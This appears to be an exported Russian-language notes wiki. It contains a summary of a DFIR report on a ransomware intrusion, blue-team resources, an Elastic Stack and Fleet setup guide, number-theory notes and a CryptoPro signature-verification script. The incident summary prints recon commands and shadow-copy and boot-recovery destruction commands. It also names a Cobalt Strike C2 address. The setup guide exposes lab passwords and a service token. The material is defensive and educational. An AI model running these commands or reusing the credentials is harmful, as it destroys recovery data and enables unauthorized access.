Событие Sysmon 1 журналов windows показывает связь между процессами: ScreenConnect запустил PowreShell-скрипт, который, в свою очередь, исполнил P6nqEdwk.exe.

P6nqEdwk.exe представляет из себя модифицированную версию программы ApacheBench, которая при выполнении запускает PowerShell-скрипт:

Этот скрипт обеспечивает reverse shell - канал удаленного доступа, используя который атакующий может контролировать скомпрометированную машину. 

Atera

Несмотря на то, что для получения первоначального доступа использовался ScreenConnect, атакующий установил другое приложение(Atera) для удаленного администрирования на серверах, скомпрометированных в дальнейшем. 

Установка Atera была выполнена через запуск установщика MSI:

C:\Windows\System32\msiexec.exe /i “C:\programdata\setup.msi

 Atera требует регистрацию пользователей для работы, и, анализируя конфигурационные файлы, исследователи смогли найти email, который злоумышленник использовал для регистрации (edukatingstrong@polkschools.edu.org).

Используя Atera, злоумышленник запустил большое количество PowerShell-команд, включая rclone для копирования конфеденциальных файлов.

Также, для обеспечения полноценного удаленного доступа через Atera злоумышленник настроил интеграцию с Splashtop. 

В журнале событий Splashtop-Splashtop Streamer-Status/Operational можно найти уникальный идентификатор установки:

Для выполнения своих целей атакующий использовал популярный скрипт Impacket wmiexec.py. Эту активность можно отследить по тому, что скрипт по умолчанию перенаправляет вывод в \\127.0.0.1\ADMIN$\__%timestamp%.

Закрепление в системе

Для обеспечения постоянного доступа атакующий настроил автозапуск служб ScreenConnect и Atera. Это событие отображается в журналах Windows как 7045 (установка службы):

Повышение привилегий

Будучи запущенными как службы Windows, ScreenConnect и Atera работали под учетной записью системы (SYSTEM), что дает атакующему больше привилегий. 

Process Injection

Для избежания обнаружения атакующий использовал широко распространенный метод process injection, когда вредоносный код запускается в памяти легитимного процесса. В зависимости от используемых техник обнаружить эти действия можно следующим образом:

События Sysmon:

Также, доказательством process injection может выступать создание так называемых named pipes, каналов связи между процессами с именем (\postex_*) (события Sysmon 17 и 18).

Доступ к учетным записям

В ходе атаки злоумышленник неоднократно пытался получить доступ к памяти процесса LSASS (процесс, отвечающий за безопасность и настройки доступа в Windows). 

Как показано на рисунке выше, атакующий несколько раз запускал m2.exe, версию популярного зловреда mimikatz. В ходе атаки mimikatz использовался для повышения привилегий и доступа к данным учетных записей. 

Разведка

Для изучения структуры сети и получения списка обычных и привилегированных пользователей злоумышленник использовал следующие команды:

Также, после установки CobaltStrike атакующий собрал информацию о домене:

cmd.exe /C nltest /dclist:
cmd.exe /C nltest /DOMAIN_TRUSTS
cmd.exe /C nltest /domain_trusts /all_trusts

Для получения списка активных сессий пользователей была использована команда quser:

Используя программы netping и netscan, атакующий просканировал внутреннюю сеть компании в поиске открытых портов RDP. 

Он также изучил и скопировал содержимое общедоступных сетевых папок на файл-сервере. Эту информацию можно подтвердить, изучив артефакты в реестре (например, программой shellbag).

Дальнейшее продвижение

После сканирования открытых RDP портов злоумышленник использовал RDP для подключения на другие сервера компании. Артефактами в данном случае выступают события windows 4624 с типом подключения 3 (по сети) или 7 (разблокировка).

Помимо RDP атакующий использовал wmiexec для выполнения команд на удаленных серверах. 

Для компрометации узлов сети атакующий сначала загружал вредоносный DLL-файл по протоколу SMB, а затем регистрировал службу Windows, запускающую вредоносный dll c Cobalt Strike, настроенным на подключение к домену атакующего 23.108.57[.]83:443 (sodiwugoc[.]com).

Событие 7045 демонстрирует создание службы.

Достижение целей

Спустя два дня атакующий скопировал конфиденциальные данные программой rclone. Судя по наличию опечаток в имени команд, можно предположить, что действия выполнялись вручную.

После скачивания файлов атакующий перешел к следующему шагу - шифрованию данных.

Для начала он поменял пароль администратора:

После чего перешел к шифрованию:

Чтобы обеспечить невозможность восстановления данных, злоумышленник удалили теневые копии и поменял параметры загрузчика системы:

"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
"C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No
"C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures

После завершения процесса шифрования файлы с требованием выкупа были размещены в C:\Users\Default\HOW_TO_DECRYPT.txt.

Атакующий также настроил групповую политику (GPO) для распространения шифровальщика по всему домену, но ошибся, создав политику для пользователей вместо GPO для компьютеров. 

На этом мы закончим анализ отчета, полную версию на английском языке можно прочитать на сайте thedfirreport.com.

Blue team

Стажировки

Различные компании довольно часто проводят стажировки, и ниже мы подобрали ресурсы, где можно наблюдать за появлением наборов на новые стажировки:

Изучите дорожные карты ИБ-специалиста. Поищите дорожные карты в открытом доступе, составленные специалистами, которые прошли свой путь и знают, чем поделиться с новичками. Пример такой дорожной карты можно посмотреть здесь: Схема карьерных треков в кибербезопасности. 

Приглядитесь к сертификациям, которые котируются у работодателей. Сертификации могут дать понимание, в каких знаниях вы западаете, а при их прохождении - позволить работодателю взглянуть на вас под другим углом. Одни из известных сертификаций предлагает институт SANS - GIAC Certifications. Впрочем, вы можете поискать и те сертификации, которые будут интересны вам.

Вещи позволяющие стать лучше:

Не ищите теорию, ищите практику. Именно на практике вы можете позволить себе нащупать интересные моменты в сфере, отточить навыки, находить пробелы и совершенствоваться. 

Проходите сертификации, направленные на практические навыки. Это не только улучшает ваши умения, но и все больше приобретает популярность в коммьюнити и у работодателей.

Дополнительные ресурсы и материалы

  1. https://github.com/Neo23x0/Loki - сканер IOC 
  2. https://github.com/socprime/soc_workflow_app_ce 
  3. https://github.com/deepfence/ThreatMapper
  4. https://github.com/ivre/ivre 
  5. https://github.com/nccgroup/ScoutSuite - аудит облачных провайдеров
  6. https://4sysops.com/tag/security/
  7. https://cyberwardog.blogspot.com/
  8. https://jordanpotti.com/2017/11/06/honey-accounts/
  9. https://medium.com/@olafhartong/endpoint-detection-superpowers-on-the-cheap-threat-hunting-app-a92213f5e4b8
  10. https://documentation.wazuh.com/
  11. https://socfortress.medium.com/part-3-wazuh-manager-install-log-analysis-e819f28b0f9e
  12. https://www.sans.org/white-papers/33901/
  13. https://github.com/jassics/awesome-aws-security
  14. https://github.com/archerysec/archerysec
  15. https://sysdig.com/blog/how-to-honeypot-vcluster-falco/
  16. https://malware.news/t/building-honeypots-with-vcluster-and-falco-episode-ii/80713
  17. https://linkmeup.ru/blog/1188/
  18. https://www.nextron-systems.com/thor-lite/

Blue team: ElasticStack


Blue team: ElasticStack

Введение

Структура решения:

Elasticsearch

Основан на фреймворке Lucene для структурирования и поиска. Lucene индексирует элементы входного текста (индекс) и строит обратный индекс. Пример:

Элемент данных Документ 1 Документ 2 Документ 3
Спагетти +

Сыр +
+
Рецепт + + +
Помидор
+
Майонез

+
Картошка

+

Происходит объединение / пересечение полученных данных, ранжирование и отдача в соответствии с рангом.

Типы агрегаций:

Могут использоваться схемы данных.

Архитектура

Данные -> Документы -> Сегменты -> Ноды

Горизонтальное масштабирование. Добавление нодов без простоя, автоматическое перераспределение сегментов данных по нодам. 

Высокая доступность и надежность. Основной сегмент доступен на чтение и запись, остальные - чтение. Индексные и поисковые запросы выполняются параллельно.

Снимки, межкластерный поиск.

Схема хранения данных (Elastic Common Schema). ECS устанавливает сопоставления индексов для полей. Например целые числа могут быть как количеством переданных байт и подлежат суммированию, так может быть статусом ответа HTTP и являются строкой.

Модули Beats могут автоматически конвертировать логи и метрики в ECS схему. 

 

Когда использовать Beast Когда использовать Logstash
  • Необходимо объединять данные из большого количества однотипных систем. 
  • Есть модуль для данной системы
  • Не нужно проводить серьезные изменения перед передачей данных
  • Когда большой объем данных поступает из централизованного хранилища (например, из общего файлового хранилища, AWS S3, Kafka и AWS Kinesis)
    и вам необходимо иметь возможность масштабировать пропускную способность.
  • Необходимость сложного преобразования данных
  • Балансировка нагрузки

 

 

Blue team: ElasticStack

Установка

ElasticSearch

Ubuntu, 4 ядра, 12ГБ, 30ГБ. Очень быстро ест диск, при пустом объеме менее 10% падает.

Вариант 1. Установка из зеркала yandex

wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg
apt-get install apt-transport-https
echo "deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg] https://mirror.yandex.ru/mirrors/elastic/8/ stable main" | sudo tee /etc/apt/sources.list.d/elastic-8.x.list
sudo apt update && sudo apt install elasticsearch

Вариант 2. Из deb пакета. 

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-9.2.0-amd64.deb
sudo dpkg -i elasticsearch-9.2.0-amd64.deb

В консоли отобразится пароль суперюзера, его нужно сохранить.

The generated password for the elastic built-in superuser is : b0kLYdJDYetVHoPQafmc

Затем изменяем конфиг java vm, устанавливаем 8ГБ лимит. Памяти должно быть не более половины от существующей оперативной памяти. Минимально 4ГБ. nano /etc/elasticsearch/jvm.options

## heap to 4 GB, create a new file in the jvm.options.d
## directory containing these lines:
##
-Xms8g
-Xmx8g
##
## See https://www.elastic.co/guide/en/elasticsearch/reference/8.19/heap-size.html
## for more information

Настройка кластера.

Файл /etc/elasticsearch/elasticsearch.yml 

# All nodes in a cluster should have the same name
cluster.name: lab-cluster
# Set to hostname if undefined
node.name: node-a
# Port for the node HTTP listener
http.port: 9200
# Port for node TCP communication
transport.tcp.port: 9300
# Filesystem path for data directory
path.data: /mnt/disk/data
# Filesystem path for logs directory
path.logs: /mnt/disk/logs
# List of initial master eligible nodes
cluster.initial_master_nodes:
# List of other nodes in the cluster
discovery.seed_hosts:
# Network host for server to listen on
network.host: 0.0.0.0

Перегружаем службы 

sudo /bin/systemctl daemon-reload
sudo /bin/systemctl enable elasticsearch.service
sudo systemctl start elasticsearch.service

Проверка запуска 

curl localhost:9200
Вывод должен быть похож на:
{
   "name":"test",
   "cluster_name":"elasticsearch",
   "cluster_uuid":"D9HthzrVRTS4yKgSNEfrjg",
   "version":{
      "number":"8.0.0",
      "build_flavor":"default",
      "build_type":"deb",
      "build_hash":"51e9d6f22758d0374a0f3f5c6e8f3a7997850f96",
      "build_date":"2020-11-09T21:30:33.964949Z",
      "build_snapshot":false,
      "lucene_version":"8.7.0",
      "minimum_wire_compatibility_version":"6.8.0",
      "minimum_index_compatibility_version":"6.0.0-beta1"
   },
   "tagline":"You Know, for Search"
}

Проверка работы кластера: 

curl localhost:9200/_cluster/health

Установка kibana 

sudo apt install kibana
sudo systemctl daemon-reload
sudo systemctl enable kibana.service
sudo systemctl start kibana.service
sudo systemctl status kibana.service

Генерируем пароль для пользователя kibana 

sudo /usr/share/elasticsearch/bin/elasticsearch-reset-password -u kibana_system

Password for the [kibana_system] user successfully reset.
New value: QiF9U+blQujOvEg+jHyB

Настраиваем сертификаты 

sudo cp -R /etc/elasticsearch/certs /etc/kibana
sudo chown -R root:kibana /etc/kibana/certs

Настраиваем параметры kibana в файле /etc/kibana/kibana.yml 

server.host: "192.168.1.184"
elasticsearch.username: "kibana_system"
elasticsearch.password: "QiF9U+blQujOvEg+jHyB"
elasticsearch.ssl.certificateAuthorities: [ "/etc/kibana/certs/http_ca.crt" ]
elasticsearch.hosts: ["https://192.168.1.184:9200"]

Входим по адресу http://192.168.1.184:5601/ и там логин elastic пароль b0kLYdJDYetVHoPQafmc

Fleet

Бэкенд для управления агентами, фронт через kibana. Управление через политики. Желательно ставить на отдельном сервере. Настраивается через Kibana Management - Fleet

image.png

Взаимодействие компонентов:

image.png

Fleet настраивается через Policy в Kibana, настройки(policy) хранятся в Elasticsearch, а агенты регистрируются на Fleet Server, получают через него конфигурацию, и отправляют данные в Elasticsearch. 

Установка Fleet server

Ставим Debian.

Сначала с ElasicSearch копируем сертификат на будущий сервер 

sudo scp /etc/elasticsearch/certs/http_ca.crt user@<fleet_server_host>:/tmp/

На Fleet 

sudo mkdir -p /etc/elastic/certs
sudo mv /tmp/http_ca.crt /etc/elastic/certs/
sudo chmod 644 /etc/elastic/certs/http_ca.crt
sudo chown -R root:root /etc/elastic/certs
sudo chmod 755 /etc/elastic
sudo chmod 644 /etc/elastic/certs/http_ca.crt

В kibana создаем новый сервер. Указываем отображаемое имя и URL будущего Fleet server. Обязательно установить порт, иначе будет стучаться на 443 по умолчанию и почему-то не поедет.

image.png

Нажимаем Generate... ELK сгенерирует набор команд, которые необходимо выполнить на будущем Fleet сервере для установки. Можно выбрать ОС для команды. В качестве localhost нужно указать адрес elastic сервера.

image.png

И к установочной строке нужно добавить ссылку на сертификат. Итоговая строка: 

sudo ./elastic-agent install   --fleet-server-es=https://192.168.1.184:9200   --fleet-server-service-token=AAEAAWVsYXN0aWMvZmxlZXQtc2VydmVyL3Rva2VuLTE3NjA2MTgzNzk5MjQ6U2tNMlRSczRRcW00emV6aXZkR1JmZw   --fleet-server-policy=fleet-server-policy   --fleet-server-port=8220   --certificate-authorities=/etc/elastic/certs/http_ca.crt

И еще - токен имеет время жизни, поэтому при ошибке его нужно обновить.

Управление конфигурацией агентов

Политики Fleet управляют конфигурацией агентов elastic. Давайте настроим наши агенты на сбор системных логов. Перейдем в раздел Agent policies:

В разделе "Add Integrations" можно добавить в политику модули для сбора данных. 

Интеграции(Integrations) это модули для сбора данных из различных источников. С актуальным списком доступных интеграций можно ознакомиться по адресу https://www.elastic.co/integrations

Давайте добавим интеграцию System. Для этого введем название интеграции в стоке поиска, откроем ее и нажмем Add System. В настройках модуля System есть опция добавить или изменить файлы логов, которые будут мониториться на системах linux, типы журналов Windows

Beats & Logstash

Logstash 

sudo apt-get install logstash

Beats packages.

sudo apt-get install <beat>
# To install Filebeat, run this:
sudo apt-get install filebeat
# To install Metricbeat, run this:
sudo apt-get install metricbeat


Математика

Математика

Теория чисел

Виноградов И.М. «Основы теории чисел»

Теория чисел 

Делимость

  1. Целые числа: натуральные числа, 0 и отрицательные. Разница между соседними числами 1. 
  2. a + b, a - b, a * b целые.
  3. Если a = b * q (при условии b q целые) обозначается b \ a 
    1. a кратно числу b
    2. b делитель числа a
  4. Если b \ m и m \ a то b \ a
  5. Если в равенстве вида   
    a+b+...+m = n+o+...+z
     известно для всех членов, кроме одного, что они кратны x, то этот один тоже кратен x. 
  6. a представляется единственным способом в виде  
    a = bq+r
где 0<=r<b
  7. НОД a, b ... z обозначается (a, b, ... z)
  8. Если (a, b, ... z) = 1 то эти числа взаимно простые
  9. Если каждое из чисел (a, b, ... z) взаимно просто с каждым другим, то эти числа попарно простые
  10. Если a кратно b, то совокупность общих делителей чисел a и b совпадает с совокупность делителей b  
    a = q*b
(a,b) = b
  11. Поиск НОД - алгоритм Евклида. a, b положительны и a > b. НОД равен последнему не равному 0 остатку.
  12. m любое положительное целое. (am, bm) = (a, b)m
  13. Если (a,b) = 1 то (ac, b) = (c,b)
  14. Если каждое a1 a2 ... an взаимно просто с b1 b2 ... bn то произведение a1 * a2 * ... * an взаимно просто с b1 * b2 * ... * bn
  15. Совокупность общих кратных двух чисел совпадает с совокупностью кратных их общего наименьшего кратного
  16. Общее наименьшее кратное равно их произведению деленному на НОД
  17. Числа либо простые, либо составные. Составные = произведение простых в степени.
  18. Всякое a либо взаимно просто с простым p, либо делится на p
  19. Разложение составного числа на простые сомножители единственно. Это называется каноническое разложение.
  20. Пусть A - каноническое разложение = p[i] ^ a[i] тогда все делители - числа вида p[i] ^ b[i] где 0 <= b[i] <= a[i] 
  21. Вещественные числа - разложения, рациональные/иррациональные - стр. 20

Важнейшие функции

  1. x - вещественное число. [x] - максимальное целое число, не превосходящее x. {x} дробная часть = x - [x]
  2. Функция мультипликативная, если
    1. определена для всех целых положительных и не равна 0 как минимум при одном. 
    2. Для любых положительных взаимно простых a b выполняется x[ab] = x[a]x[b]
  3. Для мультипликативной функции x, x[1] = 1
  4. Произведение мультипликативных функций также мультипликативная функция.

Сравнение

Сравнимость чисел a и b по модулю m равносильна:

Дополнительные свойства:

КриптоПро ГОСТ

Проверка подписи через КриптоПро

Предположим есть сертификат и текст, который подписывается ГОСТовским алгоритмом и затем кодируется в Urlsafe. 

Устанавливаем КриптоПро и сертификат в раздел Личное.

Скрипт для преобразования urlsafe подписи в КриптоПро - читаемую: 

# convert_signature.py
import base64

# Ваша подпись из логов
signature_urlsafe = "MIIKs...3RU8"

# 1. Преобразуем URL-safe → стандартный Base64
signature_b64 = signature_urlsafe.replace('-', '+').replace('_', '/')
# Добавляем padding
padding = 4 - len(signature_b64) % 4
if padding != 4:
    signature_b64 += '=' * padding

# 2. Декодируем Base64 → бинарный DER
signature_der = base64.b64decode(signature_b64)

# 3. Сохраняем в файл
with open('signature.der', 'wb') as f:
    f.write(signature_der)

print("Подпись сохранена в signature.der")

Саму подпись сохраняем в переменную signature_urlsafe. В результате сформируется файл signature.der 

 В файл message.txt сохранил напрямую бинарную часть сообщения, все то что внутри кавычек

изображение.png

Запускаем Инструменты КриптоПро -> Проверка подписи -> Выбрать файл с подписью...

изображение.png

Меняем тип файла на "Все файлы"

изображение.png

Открываем созданный файл signature.der

изображение.png

Нажимаем кнопку "Проверить подпись" и будет предложено указать исходный файл (который мы подписывали), так как файл signature.der это файл с открепленной подписью. Указываем message.txt

изображение.png

Подпись будет проверена

изображение.png